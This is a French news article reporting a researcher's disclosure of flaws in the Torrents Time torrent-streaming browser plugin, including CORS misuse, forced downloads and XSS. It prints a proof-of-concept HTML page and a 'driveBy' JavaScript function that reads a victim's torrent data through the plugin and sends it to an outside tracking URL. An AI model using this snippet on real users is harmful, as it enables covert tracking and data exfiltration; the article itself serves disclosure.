Et depuis quelques semaines, les sites de partage tels que The Pirate Bay et Kickass, pour ne citer que ceux-là, ont intégré à leur plateforme un moyen supplémentaire de télécharger et regarder les films. Pour y arriver, ces sites de partage s’appuient sur Torrents Time, un plugin mis à la disposition des internautes assez récemment.
En guise de rappel, Torrents Time est un fichier regroupant à la fois un client torrent, un lecteur vidéo en streaming et un gestionnaire de téléchargement installé directement dans le navigateur. Ayant été intégré à certains sites de partage de fichiers en pair à pair, ce plugin connait depuis sa sortie une grande adoption.
Toutefois, un développeur du nom d’Andrew Sampson a détecté de nombreuses failles dans ce plugin.
De prime abord, il faut savoir que pour empêcher que des ressources extérieures à un domaine donné soient injectées dans le navigateur d’un internaute, l’équipe de développeurs de Torrents Time s’est appuyée sur le mécanisme de sécurité CORS (Cross-Origin Resource Sharing).
Mais, après avoir examiné son implémentation, Andrew a remarqué que lorsque vous appelez une instance du plugin, le service expose les objets de l’API XMLHttpRequest permettant de faire appel à des ressources à partir d’autres domaines.
C’est cette faille qu’Andrew a examinée en profondeur pour accéder aux fonctions du plugin installé sur son navigateur. Pour cela, après avoir lancé une instance du Torrents Time dans le navigateur, il a chargé le code suivant dans le code du plugin :
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 | <html> <title>Hello World</title> <head lang="en"> <script src="torrents.js"></script> <script src="https://localhost.ttconfig.xyz:12400/api.js"></script> <script src="attack.js"></script> <meta charset="UTF-8"> <title></title> </head> <body> </body> </html> |
En passant par le CDN, Andrew peut forcer un utilisateur distant à télécharger du contenu illégalement sans que ce dernier s’en rende compte. L’élément assez effrayant est qu’un attaquant pourrait en profiter pour installer en arrière-plan un malware qui servira à d’autres fins.
À côté de cela, Andrew explique également qu’un annonceur pourrait injecter le code ci-dessous sur sa page afin de collecter les données sur les utilisateurs ayant accès à cette page afin de les suivre sur la toile.
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | function driveBy() { //Torrents-time detected! //i0 is the first instance, loop over instances to get all currently started torrents var torrentTitle = torrentsTime.instances.i0.setup.title; var browser = torrentsTime.instances.i0.setup.browser; var filetype = torrentsTime.instances.i0.setup.fileType; //any other code we want to do on the page //this supports callback/JSONP //use the exposed xhr torrentsTime.utils.xhr("https://andrew.im/sandbox/tracktt.php?title=" + torrentTitle + "&browser=" + browser + "&filetype=" +filetype, callback); } function callback(data) { console.log(data); } |
Enfin, Andrew a pu constater que les sites ayant intégré Torrents Time sur leurs pages présentent des failles cross-site scripting (XSS) qui permettent d’injecter du code dans des pages web afin de modifier leur comportement.
La liste des possibilités étant longue, nous allons nous arrêter à ce niveau. Après ces explications, il n’est nul besoin de mener une campagne afin de déconseiller l’utilisation de ce plugin au-delà du caractère illégal que revêt le téléchargement des œuvres intellectuelles soumises aux droits d’auteur. Toutefois, est-ce suffisant pour les utilisateurs afin de les dissuader de l’utiliser ? Les utilisateurs de ce plugin ne continueront-ils pas leur chemin comme si de rien n’était ?
Source : Blog Andrew Sampson
Et vous ?
Utilisez-vous ce plugin ? Que pensez-vous de ces failles ?
Allez-vous arrêter d’utiliser ce plugin au regard des failles citées ?
Voir aussi
Forum